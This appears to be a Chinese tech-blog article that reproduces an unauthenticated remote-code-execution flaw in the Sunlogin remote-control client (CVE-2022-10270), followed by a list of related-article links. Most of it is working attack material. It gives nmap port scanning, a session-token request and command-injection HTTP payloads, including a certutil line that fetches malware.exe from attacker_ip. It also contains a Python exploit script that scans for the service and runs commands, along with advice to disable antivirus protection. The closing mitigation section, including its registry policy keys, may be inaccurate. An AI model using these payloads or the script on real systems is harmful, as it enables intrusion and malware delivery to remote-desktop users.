当前位置: 首页 > news >正文

从零到一:实战复现向日葵RCE漏洞CVE-2022-10270

1. 漏洞背景与影响范围

向日葵远程控制软件作为国内用户量最大的远程办公工具之一,其安全性直接关系到数百万企业和个人用户的数据安全。2022年曝光的CVE-2022-10270漏洞是一个典型的未授权远程代码执行(RCE)漏洞,攻击者无需任何认证即可通过特定网络请求在目标主机上执行任意命令。我在实际渗透测试中发现,该漏洞利用链清晰稳定,甚至可以被集成到自动化攻击工具中。

受影响的版本主要包含两个分支:

  • 向日葵个人版Windows客户端11.0.0.33及以下版本
  • 向日葵简约版v1.0.1.43315及以下版本

这个漏洞的特殊之处在于,它同时存在于软件的多个功能模块中。当向日葵客户端运行时,会主动开放40000-60000之间的随机高位端口,这些端口上的Web服务接口存在命令注入缺陷。我曾在客户内网测试时发现,即使没有公网IP的设备,只要安装了存在漏洞的客户端,同一局域网内的攻击者就能完全控制目标机器。

2. 漏洞原理深度解析

漏洞的核心问题出在向日葵客户端对HTTP请求参数的处理逻辑上。通过逆向分析sunloginclient.exe,我发现软件在/cgi-bin/rpc和/check等接口的实现中存在三处致命缺陷:

第一处是身份验证绕过。在sub_140E1C954函数中,攻击者可以通过精心构造的HTTP请求头绕过session验证。我测试时用Burp Suite发送以下请求就能获取有效会话:

GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: target_ip:port

第二处是命令注入点。在/check接口中,当cmd参数以ping或nslookup开头时,后续内容会直接传递给system()函数执行。更危险的是,攻击者可以通过路径穿越符(../)访问系统任意路径。例如这个payload就能执行系统命令:

GET /check?cmd=ping../../../windows/system32/cmd.exe /c whoami HTTP/1.1

第三处是端口暴露问题。向日葵客户端启动时会随机开启40000+的高位端口,但未做任何访问控制。我写了个简单的Python脚本测试,发现在同一网络下,任何用户都能与这些端口建立连接。

3. 实验环境搭建指南

为了安全复现这个漏洞,建议在虚拟机环境中进行测试。我通常使用以下配置:

  • 靶机:Windows 10 专业版(关闭防火墙)
  • 攻击机:Kali Linux 2023或Windows 10 + Python 3.8
  • 漏洞版本:SunloginClient_11.0.0.33162_X64.exe

安装向日葵客户端时有几个关键点需要注意:

  1. 安装过程中要勾选"开机自动启动"选项
  2. 安装完成后不要登录向日葵账号
  3. 在设置中关闭双重认证等安全选项

实测发现,某些杀毒软件会拦截漏洞利用请求。我在测试时遇到过360安全卫士自动阻断端口扫描的情况,临时关闭实时防护才能继续。建议在控制面板中提前添加以下目录到杀软白名单:

C:\Program Files\Oray\SunLogin\SunloginClient C:\Program Files (x86)\Oray\SunLogin\SunloginClient

4. 手动复现全流程

4.1 端口探测阶段

首先需要找到向日葵开放的随机端口。虽然官方文档说端口在40000-60000之间,但实测中我遇到过的案例都集中在50000-55000。推荐使用这个nmap命令:

nmap -p 50000-55000 -T4 --open target_ip

如果看到类似这样的响应,就可能是漏洞端口:

PORT STATE SERVICE 54321/tcp open unknown

4.2 漏洞验证阶段

发现可疑端口后,用浏览器访问以下URL验证漏洞是否存在:

http://target_ip:port/cgi-bin/rpc?action=verify-haras

如果返回包含"verification failure",则证明存在漏洞。

4.3 会话获取阶段

通过以下请求获取有效会话CID:

GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: target_ip:port

保存响应中的CID值,例如:

{"success":true,"data":{"cid":"HbRTVJwZL3"}}

4.4 命令执行阶段

构造命令执行请求时需要注意Windows路径的特殊处理。这里分享几个实测可用的payload:

查看当前用户:

GET /check?cmd=ping..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fcmd.exe /c whoami HTTP/1.1 Host: target_ip:port Cookie: CID=HbRTVJwZL3

下载远程文件:

GET /check?cmd=ping..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fcertutil.exe -urlcache -split -f http://attacker_ip/malware.exe C:\temp\malware.exe HTTP/1.1

5. 自动化利用脚本开发

基于手动复现的经验,我开发了一个自动化利用工具,主要包含以下功能模块:

import requests import argparse def port_scan(target_ip, start_port, end_port): for port in range(start_port, end_port+1): try: r = requests.get(f"http://{target_ip}:{port}/cgi-bin/rpc?action=verify-haras", timeout=3) if "verification failure" in r.text: return port except: continue return None def exploit(target_ip, port, command): session = requests.Session() # 获取CID r = session.get(f"http://{target_ip}:{port}/cgi-bin/rpc?action=verify-haras") cid = r.json().get("data", {}).get("cid", "") # 执行命令 payload = f"ping../../../windows/system32/cmd.exe /c {command}" r = session.get(f"http://{target_ip}:{port}/check?cmd={payload}", headers={"Cookie": f"CID={cid}"}) return r.text

使用示例:

# 端口扫描 python sunflower_rce.py --scan 192.168.1.100 # 命令执行 python sunflower_rce.py --target 192.168.1.100:54321 --cmd "net user"

6. 防御与修复方案

对于仍在使用受影响版本的用户,我建议立即采取以下措施:

  1. 升级到向日葵最新版本(目前安全版本是11.1及以上)
  2. 在防火墙中限制40000-60000端口的入站连接
  3. 修改客户端安装目录的访问权限,禁止非管理员用户写入

在企业环境中,可以通过组策略批量部署以下注册表项来缓解风险:

Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Oray\Sunlogin] "DisableRemoteControl"=dword:00000001 "DisableAutoStart"=dword:00000001

我在给客户做安全加固时发现,即使升级了客户端版本,残留的配置文件仍可能包含敏感信息。建议在卸载旧版本后,手动删除以下目录:

C:\ProgramData\Oray\SunloginClient C:\Users\<username>\AppData\Roaming\Oray\Sunlogin
http://www.cnnetsun.cn/news/1558182.html

相关文章:

  • 【技术踩坑】Redission与Satoken的Redis数据库配置冲突实录
  • 3个核心价值让创作者实现图像元素插入技术突破与效率革新
  • RRT-Star算法深度解析:从基础RRT到渐进最优路径规划
  • C语言初学者必知!河内塔问题算法、逻辑及代码实现
  • YOLOv8的检测头还能这么改?手把手教你用EfficientHead提升小目标检测精度(以桥梁巡检为例)
  • Qwen2.5-VL视觉定位模型效果展示:一句话精准框出图中目标
  • LunaTranslator OCR快捷键系统深度解析:从原理到实践的高效视觉小说翻译方案
  • 解锁智能监控:提升网页变化追踪效率的完整指南
  • Qwen2.5-7B实战:结合vLLM与Gradio,轻松构建智能问答系统
  • 免费开源电路板查看器OpenBoardView:硬件工程师的桌面利器
  • 手把手教你用MicroPython给ESP32做个电量显示器(附分压电路计算)
  • 【Bypass】12306自动抢票软件实战:从配置到微信增强通知全攻略
  • 力科MAUI Studio:示波器桌面分析与远程控制的高效解决方案
  • 考研数学实战:格林公式在曲线积分中的高效应用
  • Java中不使用Math.sqrt函数判断一个数是否为完全平方数
  • Crowbar:技术民主化浪潮下的游戏创作赋能工具
  • 哈希表题目集
  • 24C系列EEPROM驱动库:跨页写入与I²C时序可靠性实现
  • StructBERT文本相似度计算:WebUI零基础入门,快速上手教程
  • 手把手教你用vLLM部署GLM-4-9B-Chat-1M,Chainlit前端让对话更直观
  • 入行网络安全,普通人最佳逆袭机会!
  • 树莓派Pico玩转OV7670:低成本图像采集方案从入门到精通
  • Godot 4 Open RPG完整指南:快速构建回合制角色扮演游戏 [特殊字符]
  • 如何构建低延迟Live2D交互系统?从协议到落地的完整实时交互架构方案
  • 技术革命:Legacy-iOS-Kit如何颠覆传统iOS设备维护范式
  • MidScene:零代码AI自动化工具终极指南
  • PyCharm缓存优化指南:避免系统盘被占满的5个实用技巧
  • Claude HUD:AI开发效率的实时状态监控工具
  • F3D:为什么这款极简3D查看器能让你彻底告别传统软件的臃肿?
  • 3个步骤掌握Book Searcher:从安装到实战高效图书检索工具